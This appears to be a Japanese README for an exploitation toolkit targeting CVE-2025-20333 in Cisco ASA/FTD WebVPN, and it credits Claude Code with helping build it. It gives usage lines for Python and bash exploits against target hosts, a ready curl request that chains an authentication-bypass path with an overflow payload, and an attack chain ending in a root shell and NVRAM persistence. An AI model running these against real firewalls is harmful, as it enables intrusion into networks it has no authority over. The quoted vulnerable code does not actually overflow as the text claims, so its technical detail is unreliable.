
CVE-2025-20333(Cisco ASA/FTD WebVPN の重大なスタックバッファオーバーフロー)向けの完全な調査・悪用ツールキット。詳細なバイナリ解析、Python および bash による PoC エクスプロイト、悪用ガイドを含みます。
このディレクトリには、Cisco ASA/FTD WebVPN サーバーにおける重大なスタックバッファオーバーフロー脆弱性である CVE-2025-20333 に関する包括的な調査、分析、および概念実証コードが含まれています。
ステータス: ⚠️ 実環境で活発に悪用中(ArcaneDoor キャンペーン)
CVSS スコア: 9.8 Critical
認証: 不要(CVE-2025-20362 により回避)
影響: root としてのリモートコード実行
CVE-2025-20333-RESEARCH-NOTES.md(20 KB)完全なリバースエンジニアリング調査
主要な発見:
body_lexer.re2c 内の固定 16 バイトバッファ(local_58[16])
URL デコードループに境界チェックが無い
iVar11 < 16 を確認せずに local_58[iVar11] へ書き込み
8 組の 16 進ペア後: オーバーフロー → スタック破壊 → RCE
EXPLOITATION-GUIDE.md(12 KB)実践的な悪用マニュアル
cve-2025-20333-poc.py(15 KB)フル機能の Python エクスプロイト
機能:
使用方法:
# 脆弱性の詳細を表示
python3 cve-2025-20333-poc.py --details
# ターゲットを悪用
python3 cve-2025-20333-poc.py 192.168.1.100 443
# カスタム設定
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh(8.5 KB)軽量な bash エクスプロイト
機能:
使用方法:
# 詳細を表示
./cve-2025-20333-poc.sh --details
# 悪用
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# curl による手動実行
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2025-20333 |
| タイプ | スタックバッファオーバーフロー(CWE-120) |
| コンポーネント | body_lexer.re2c(FUN_0302e690) |
| 影響を受けるバージョン | ASA 9.16–9.23、FTD 7.0–7.7 |
| CVSS v3.1 | 9.8(Critical) |
| 認証 | 不要(CVE-2025-20362 経由) |
| ユーザー操作 | なし |
| 影響 | root としての RCE、システム完全侵害 |
| ステータス | 活発に悪用中(2025年5月以降) |
| 責任ある開示 | Cisco がパッチ適用済み、アドバイザリ公開済み |
// body_lexer.re2c - URL デコードループ
byte local_58[16]; // ← 固定 16 バイトバッファ
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← 境界チェックなし!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
オーバーフロートリガー: POST ボディ内の 9 個以上の連続する %XX シーケンス
1. 攻撃者(認証不要)
↓
2. /+CSCOU+/../+CSCOE+/files/file_list.json への HTTP POST
├─ CVE-2025-20362: パストラバーサルで認証チェックを回避
└─ files_retr.lua エンドポイントに到達(auth_flag = 0)
↓
3. POST ボディ: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9 個以上の URL エンコードペア)
↓
4. body_lexer.re2c が POST ボディを処理
├─ 16 進ペアを local_58[16] に蓄積
└─ 8 ペア後: オーバーフロー!
↓
5. スタック破壊
├─ local_48、local_40 を上書き
├─ 保存された RBP を上書き
└─ 保存された RIP(リターンアドレス)を上書き
↓
6. 制御フローハイジャック
├─ RIP が ROP ガジェットを指す
├─ ROP チェーンが execve() をセットアップ
└─ execve("/bin/sh", NULL, NULL)
↓
7. root としての RCE(lina プロセスは root で実行)
├─ VPN サーバー完全侵害
├─ すべての VPN トラフィックへのアクセス
└─ NVRAM 改変による永続化
lina バイナリをオープン/+CSCOU+/../+CSCOE+/files/file_list.json を使用することを確認local_58[16]許可の確認
エクスプロイトの実行
# クイックチェック: ターゲットはエクスプロイト試行に応答するか?
python3 cve-2025-20333-poc.py <target_ip>
# または bash 版:
./cve-2025-20333-poc.sh <target_ip>
悪用の検証
調査結果の文書化
調査ノートを読む
CVE-2025-20333-RESEARCH-NOTES.md を学習PoC を研究
適応と拡張
⚠️ 法的通知
このツールキットは 許可を得たセキュリティテスト専用 に提供されています。
✅ 許可された使用:
❌ 禁止された使用:
cve-2025-20333/
├── README.md (本ファイル)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB、包括的な調査)
├── EXPLOITATION-GUIDE.md (12 KB、実践ガイド)
├── cve-2025-20333-poc.py (15 KB、Python PoC)
└── cve-2025-20333-poc.sh (8.5 KB、bash PoC)
ドキュメント合計: 約 65 KB
調査深度: 50 以上の Ghidra 関数を監査
検証済みの発見: body_lexer.re2c のバッファオーバーフローを確認
# ターゲットが悪用に対して脆弱かテスト
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# ターゲットが応答した場合(200、500、クラッシュ)、脆弱な可能性あり
# ターゲットがブロック/リダイレクトした場合、パッチ適用済みの可能性あり
# 脆弱なバージョン:
# - Cisco ASA 9.16 から 9.23
# - Cisco FTD 7.0 から 7.7
# SSH/コンソールで ASA バージョンを確認:
show version
# パッチ適用済みバージョン:
# - ASA 9.16.4.51、9.18.4.31、9.20.4.49、9.22.4.9、9.24.1+
# - FTD 7.0.x、7.1.x、7.2.x(パッチ適用済み)
このツールキットは、教育および許可を得たテスト目的のみで AS-IS で提供されます。
このプロジェクトは、Anthropic の AI 搭載コーディングアシスタントである Claude Code の支援を受けて開発されました。
作成日: 2026-08-23
調査期間: 2026-08-22 から 2026-08-23
ステータス: 完了・文書化済み
分類: 教育用 / 許可を得たテスト専用